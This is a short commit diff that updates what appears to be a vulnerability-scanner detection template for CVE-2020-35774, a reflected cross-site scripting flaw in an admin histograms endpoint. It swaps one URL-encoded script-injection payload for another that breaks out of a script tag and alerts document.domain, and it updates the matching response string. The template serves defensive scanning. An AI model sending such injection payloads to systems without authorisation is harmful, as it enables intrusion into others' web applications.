Update CVE-2020-35774.yaml

cves/2020/CVE-2020-35774.yaml

@@ -12,13 +12,13 @@ info:
 requests:
   - method: GET
     path:
-      - "{{BaseURL}}/admin/histograms?h=%3Cscript%3Ealert(%22{{randstr}}%22)%3C/script%3E&fmt=plot_cdf&log_scale=true"
+      - "{{BaseURL}}/admin/histograms?h=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&fmt=plot_cdf&log_scale=true"
 
     matchers-condition: and
     matchers:
       - type: word
         words:
-          - '<script>alert("{{randstr}}")</script>'
+          - '</script><script>alert(document.domain)</script>'
         part: body
 
       - type: status